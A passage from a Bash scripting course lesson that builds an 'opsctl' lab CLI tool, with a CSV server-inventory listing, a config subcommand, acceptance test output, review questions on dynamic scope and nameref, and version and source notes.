  [[ -r $file ]] || util::die "cannot read $file (run ~/bashlab/make-data.sh first?)" 1
  log::debug "reading $file (env=$env region=${region:-*} output=$output)"

  local header line n=0 lineno=1
  local -a f
  {
    IFS= read -r header
    header=${header%$'\r'}
    [[ $header == "name,env,region,ip,role" ]] || util::die "unexpected CSV header in $file: $header" 1
    [[ $output == table ]] && printf '%-10s %-8s %-14s %-15s %s\n' NAME ENV REGION IP ROLE
    while IFS= read -r line || [[ -n $line ]]; do
      lineno=$((lineno + 1))
      line=${line%$'\r'}
      [[ -z $line ]] && continue
      if ! util::csv_split "$line" f || (( ${#f[@]} != 5 )); then
        log::warn "$file:$lineno: malformed row skipped"
        continue
      fi
      [[ $env == all || ${f[1]} == "$env" ]] || continue
      [[ -z $region || ${f[2]} == "$region" ]] || continue
      if [[ $output == tsv ]]; then
        printf '%s\t%s\t%s\t%s\t%s\n' "${f[@]}"
      else
        printf '%-10s %-8s %-14s %-15s %s\n' "${f[@]}"
      fi
      n=$((n + 1))
    done
  } < "$file"
  (( n > 0 )) || log::warn "no servers matched env=$env${region:+ region=$region}"
  log::debug "$n server(s) listed"
  return 0
}
OPSCTL_EOF
cat > lib/cmd_config.sh <<'OPSCTL_EOF'
# shellcheck shell=bash
# opsctl-summary: show effective configuration and where each value came from
# lib/cmd_config.sh —— subcommand config: debugs configuration precedence

cmd::config() {
  local key value src
  case ${1-show} in
    show)
      printf '%-10s %-28s %s\n' KEY VALUE SOURCE
      for key in env data_dir log_level output; do
        config::get "$key" value src || return 1
        printf '%-10s %-28s %s\n' "$key" "$value" "$src"
      done ;;
    -h|--help|help)
      printf 'Usage: %s config [show]\n\nPrint every config key, its effective value and its source.\n' "${OPSCTL_PROG:-opsctl}" ;;
    *) util::usage_error "unknown config action: '$1'" ;;
  esac
}
OPSCTL_EOF
Acceptance
cd ~/bashlab/opsctl
wc -l bin/opsctl lib/*.sh etc/opsctl.conf | tail -1
bash -n bin/opsctl lib/*.sh && echo "syntax ok"
command -v shellcheck >/dev/null && shellcheck -x bin/opsctl lib/*.sh && echo "shellcheck ok"
bin/opsctl --help
bin/opsctl servers list --env prod
bin/opsctl servers list --env all -o tsv | cut -f1,5
bin/opsctl config show
OPSCTL_ENV=staging bin/opsctl servers list -o tsv
OPSCTL_ENV=staging bin/opsctl servers list --env prod -o tsv
for t in "-V" "servers list --env qa" "servers" "nosuch"; do bin/opsctl $t >/dev/null 2>&1; echo "exit($t)=$?"; done
OPSCTL_DATA_DIR=/nowhere bin/opsctl servers list >/dev/null 2>&1; echo "exit(no data)=$?"
  426 total
syntax ok
shellcheck ok
opsctl 0.1.0 - ops toolbox for ~/bashlab

Usage: opsctl [global options] <command> [command options]

Global options:
  -c, --config FILE  config file (default: $OPSCTL_HOME/etc/opsctl.conf)
  -v, --verbose      debug logging (same as OPSCTL_LOG_LEVEL=debug)
  -h, --help         show this help
  -V, --version      show version

Commands:
  config           show effective configuration and where each value came from
  servers          query the server inventory (servers list --env ENV)
  help [COMMAND]   show help for a command

Precedence: flags > environment (OPSCTL_*) > config file > defaults
Exit codes: 0 ok, 1 error, 2 usage error, 3 missing dependency
NAME       ENV      REGION         IP              ROLE
web-01     prod     canadacentral  10.30.1.41      web
web-02     prod     canadacentral  10.30.1.42      web
api-01     prod     canadacentral  10.30.1.43      api
edge-01    prod     ca-central-1   10.30.2.51      web,api
db-01      prod     canadacentral  10.30.1.44      db
bastion-01 prod     ca-central-1   10.30.2.10      bastion
web-01	web
api-01	api
db-01	db
web-01	web
api-01	api
db-01	db
web-01	web
web-02	web
api-01	api
edge-01	web,api
db-01	db
bastion-01	bastion
KEY        VALUE                        SOURCE
env        dev                          file /home/labadmin/bashlab/opsctl/etc/opsctl.conf
data_dir   /home/labadmin/bashlab/data  file /home/labadmin/bashlab/opsctl/etc/opsctl.conf
log_level  info                         file /home/labadmin/bashlab/opsctl/etc/opsctl.conf
output     table                        file /home/labadmin/bashlab/opsctl/etc/opsctl.conf
web-01	staging	ca-central-1	10.20.1.31	web
api-01	staging	ca-central-1	10.20.1.32	api
db-01	staging	ca-central-1	10.20.1.33	db
web-01	prod	canadacentral	10.30.1.41	web
web-02	prod	canadacentral	10.30.1.42	web
api-01	prod	canadacentral	10.30.1.43	api
edge-01	prod	ca-central-1	10.30.2.51	web,api
db-01	prod	canadacentral	10.30.1.44	db
bastion-01	prod	ca-central-1	10.30.2.10	bastion
exit(-V)=0
exit(servers list --env qa)=2
exit(servers)=2
exit(nosuch)=2
exit(no data)=1

Verification of missing dependency (3): sh bin/opsctl -V; echo $? (on Ubuntu sh is dash), or bash -c 'source lib/log.sh; source lib/util.sh; util::require_cmd nosuchcmd'; echo $?.

Commit and tag (Lesson 4 starts here)
git add -A
git update-index --chmod=+x bin/opsctl
git commit -m "feat: opsctl v0.1 - dispatcher, config, servers list"
git tag v0.1.0
Acceptance checklist

1. Use the call stack to explain: why does

after calling servers::list , have its own config::get env env src been assigned a value? local env executes

config::get , and from then on assigning to local -n __val=env is the same as assigning to the name __val . Lookup starts from the top of the stack (config::get): there is no variable named env inside config::get (its locals all carry the env prefix), so it finds the next layer's __ , servers::list . local env. src Likewise, printf -v writes through the same dynamic scope.

2. If you rename config::get 's local __val to local env, what happens?

When the caller passes env as the output variable name,local -n env=env forms a circular reference (circular name reference warning), or nameref resolves to config::get's own local, and the caller's env receives no value—servers list reports invalid env '' or behaves abnormally. This is the “same-name shadowing” trap.

3. Why does opsctl::list_commands read the comments instead of sourcing each subcommand file?

Listing help must not execute any subcommand code: it is faster (no function bodies parsed), safer (help still works when a subcommand file has errors or side effects), and it also avoids loading all subcommand functions into the current shell.

4. util::die Calling exit directly, under what conditions does it “fail to exit”? How do you avoid it?

When there is a subshell in the call chain: v=$(some_func), pipelines … | while,( … ). exit only ends the subshell, and the main script continues to run. In opsctl, every function that may die is called directly in the main shell; Lesson 4's set -e + inherit_errexit and trap tighten this further.

5. A user reports “--env prod has no effect”. Give your troubleshooting steps.

Command-line options have the highest precedence, so “--env has no effect” is almost always because it was not parsed as an option of servers list: ① confirm that --env is written after the subcommand (opsctl --env prod servers list reports unknown global option, exit code 2); ② confirm there is no typo or that it was not -- truncated; ③ use opsctl -v servers list --env prod to see debug output: it shows reading … (env=prod …), and if it overrode an environment variable it also shows flag value 'prod' overrides OPSCTL_ENV=…; ④ if the user did not actually write --env, use opsctl config show to see which layer the value comes from: env / file / default.

6. Lesson 5 needs to add opsctl logs report. Without modifying bin/opsctl, list the conventions you must follow.

Files lib/cmd_logs.sh, header # shellcheck shell=bash and # opsctl-summary: …; the entry point cmd::logs, internal logs::* functions; the action report dispatch; options parsed by hand, values passed via config::set_flag; new configuration keys added to OPSCTL_DEFAULTS; external dependencies util::require_cmd awk (missing → 3); usage errors 2, runtime errors 1; data to stdout (supports -o tsv), logs via log::*; all local variables local, nameref internal names carry the __ prefix.

Sources and version notes

Verified date 2026-11-17 · sources for all version facts and behavior conclusions in this lesson
Bash 5.3 baselineMeasured locally: Bash 5.2.37 · ShellCheck 0.11.0

Source table

TopicVerified conclusionSource (accessed 2026-11-17)
Bash 5.3 new features${ command; } / ${| command; } command substitution that does not fork; source -p PATH; bash_source_fullpath options; GLOBSORT; array_expand_once replaces assoc_expand_once; “Posix mode no longer requires function names to be valid shell identifiers”NEWS-5.3 (GNU bash source tree; the savannah cgit returned 502 that day, read through a source mirror) gitea.psi.ch/…/NEWS-5.3 Bash 5.3 patch level
official patch, latest batch 2026-09-14 bash53-001 … bash53-020 official container imageftp.gnu.org/gnu/bash/bash-5.3-patches/
andbash:5.3 (other bash:5.3.20 variants), updated 2026-11-09 -alpine3.24 variants), updated 2026-11-09Docker Hub: library/bash tags
local and dynamic scope, unset semantics, FUNCNEST, return statuslocal variables are visible to “that function and its sub-calls”; a reference to var in func2 resolves to func1's local var; after unset at the current layer it “appears as unset” until the function returns; exceeding FUNCNEST aborts the whole command; a bare return takes the status of the last commandbash(1), man7.org(FUNCTIONS section);Bash Reference Manual
nameref“Array variables cannot be given the nameref attribute”; unset -n deleting the reference itself; special behavior when a for-loop control variable is a namerefbash(1) PARAMETERS section (man7.org)
Google Shell Style Guidefunction names in lowercase with underscores; libraries use :: as the package delimiter; separate declaration from assignment with command substitution; when there are functions, it is required to main and call on the last line; error messages go to STDERR; library files .sh have a .sh extension and are not executable; constants are uppercase and made readonly immediately; consider another language beyond about 100 linesgoogle.github.io/styleguide/shellguide.html
ShellChecklocal ShellCheck 0.11.0; opsctl v0.1 shellcheck -x zero warnings; without -x SC1091 / SC2034 / SC2154 appear; the meaning of SC2155 and SC2088run locally;ShellCheck Wiki
getopts behaviorOPTIND is not reset automatically; stops at the first operand; in silent mode ? / : and the values of OPTARG; error messages in default modemeasured on local Bash 5.2.37;POSIX getopts
source searches PATHfilenames without slashes are first searched in PATH (sourcepath, enabled by default); measured to hit the same-named file in PATHbash(1) . / source; measured locally
Bash version requirementsnameref (declare -n) Bash 4.3+; associative arrays,${x^^} Bash 4.0+; printf '%(fmt)T' Bash 4.2+; declare -g 4.2+; local - 4.4+; localvar_inherit 5.0+; macOS ships with 3.2Bash CHANGES / NEWS history entries; opsctl uses 4.3 as the minimum requirement

Video verification notes

The following videos were all verified on 2026-11-17 via YouTube oEmbed (https://www.youtube.com/oembed?url=…&format=json) for title and channel:

VideoChannelUsed in
How To Write Bash Scripts In Linux - Complete Guide (Part 12 - Functions)Learn Linux TVModules 1, 2
How To Write Bash Scripts In Linux - Complete Guide (Part 16 - Arguments)Learn Linux TVModules 5, 6
How To Write Bash Scripts In Linux - Complete Guide (Part 17 - Backup Script)Learn Linux TVModules 4, 8
Bash Scripting Tutorial for BeginnersfreeCodeCamp.orgModules 1, 7
Bash in 100 SecondsFireshipModules 3, 8

No verified video dedicated to Bash dynamic scope, nameref, source library organization, getopts, or configuration precedence was found; the corresponding modules say so and provide storyboard scripts. Metadata such as video duration was not returned by oEmbed, so the page only gives general descriptions such as “Series episode N / about 2 minutes”.

Audio narration notes

The “Audio” page uses the browser's built-in Web Speech API (speechSynthesis), preferring the zh-CN voice to read the narration script aloud, and reading English terms with the en-US voice. This courseware is offline HTML,and cannot embed MP3 or generate video; the narration script and storyboard can be given directly to TTS / video generation tools. When no Chinese voice pack is installed, the page shows installation instructions.

Known limitations

  • Actual run environment: the output labeled “actual run output” was obtained on Git Bash on Windows (GNU Bash 5.2.37), ShellCheck is 0.11.0. For readability, home directory paths are shown uniformly as /home/labadmin, and log timestamps are replaced with example values 2026-11-17T10:00:01+0000 (actually the local time and time zone at run time). A script name in error prefixes may appear as bash: or as the script path, depending on how it was run.
  • Bash 5.3-specific behavior (${ cmd; },${| cmd; },source -p, 5.3 POSIX mode allows :: function names) is written according to NEWS-5.3; this lesson was not actually run on 5.3, and the related output is labeled “example”.
  • Performance data: $(…) and printf -v timing comparison (31.3 s vs 0.016 s / 2000 times) was measured on Windows Git Bash; fork costs on Windows are much higher than on Linux; absolute values on Linux are much smaller, but the order-of-magnitude gap remains.
  • Sample data: all servers list and other outputs are based on the deterministic data generated by Lesson 1's make-data.sh (servers.csv 13 lines including header,cksum = 3087317886 526), this lesson extracted the script from the Lesson 1 page as-is, ran it, and verified its checksum. If you have modified the data, the output will differ.
  • Not actually run: ln -s install to ~/.local/bin,git commit / git tag output, and on Ubuntu sh (dash) running opsctl's output,bash --version patch numbers are examples; the POSIX-mode guard was measured in a “sh is bash” environment (exit code 3).
  • macOS: readlink -f requires macOS 12.3 or later (or GNU coreutils); sed -i on BSD sed it requires sed -i ''.
  • Precedence convention: opsctl follows the general CLI convention “command-line options > environment variables > config file > default values” (see Module 7), which Lessons 4–7 keep.